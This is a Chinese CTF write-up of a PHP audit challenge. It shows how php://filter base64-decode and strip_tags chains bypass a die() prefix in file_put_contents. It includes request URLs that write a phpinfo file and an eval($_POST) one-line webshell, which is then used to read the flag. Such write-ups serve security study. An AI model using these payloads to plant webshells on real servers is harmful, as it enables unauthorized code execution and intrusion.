记又又又一次拉练-php审计

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

小维

前言

这篇文章记述了又又又一次的CTF拉练,一道php审计题~

源码

1
2
3
4
5
6
7
8
9
10
11
<?php
# upload www-data rwx
if (isset($_GET['path']) && isset($_GET['data'])) {
    $data = "<?php\ndie('no php');\n?>\n";
    $content = $data.base64_decode($_GET['data']);
    file_put_contents($_GET['path'], $content);
    echo 'OK';
else{
    highlight_file(__FILE__);
}
?>

思路解析

首先分析代码, 注释提示上传路径upload,判断GET请求是否有path、data参数,file_put_contents写入文件名(filename)为path参数的值,内容(content)为<?php\ndie('no php');\n?>\n拼接base64_decode(data参数的值)。

初步想法

想要GetShell的话,就必须把die('no php')给干掉。

本题考点

die() 函数输出一条消息,并退出当前脚本。该函数是 exit() 函数的别名。

php://filter 绕过die()函数 => 可参考phith0n之前的文章里有很详细的介绍传送门

解题步骤

解法一

尝试写入<?php phpinfo();?>文件

1
http://ctf.xxx.com?path=php://filter/write=convert.base64-decode/resource=upload/test.php&data=YVBEOXdhSEFnY0dod2FXNW1ieWdwT3o4Kw==

PD9waHAgcGhwaW5mbygpOz8+前面加一个”a”,是因为在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpdienophp”和我们传入的其他字符。

“phpdienophp”一共11个字符,因为base64算法解码时是4个byte一组,所以给他增加1个”a”,一共12个字符。这样,”phpdienophp”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。

1
<?php phpinfo();?> => PD9waHAgcGhwaW5mbygpOz8+ => aPD9waHAgcGhwaW5mbygpOz8+ => YVBEOXdhSEFnY0dod2FXNW1ieWdwT3o4Kw==

image-20211011132326071

image-20211011142654572

image-20211011142751873

写入一句话<?php eval($_POST[1]);?>文件

1
http://ctf.xxx.com?path=php://filter/write=convert.base64-decode/resource=upload/shell.php&data=YVBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYk1WMHBPejgr

image-20211011132825365

蚁剑连接,翻看flag。

image-20211011143035632

解法二
1
http://ctf.xxx.com/?path=php://filter/write=string.strip_tags|convert.base64-decode/resource=upload/test1245.php&data=UEQ5d2FIQWdjR2h3YVc1bWJ5Z3BPeUEvUGc9PQ==

image-20211011142123931

image-20211011141958762

image-20211011170414108

参考

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/

-本文结束感谢您的阅读-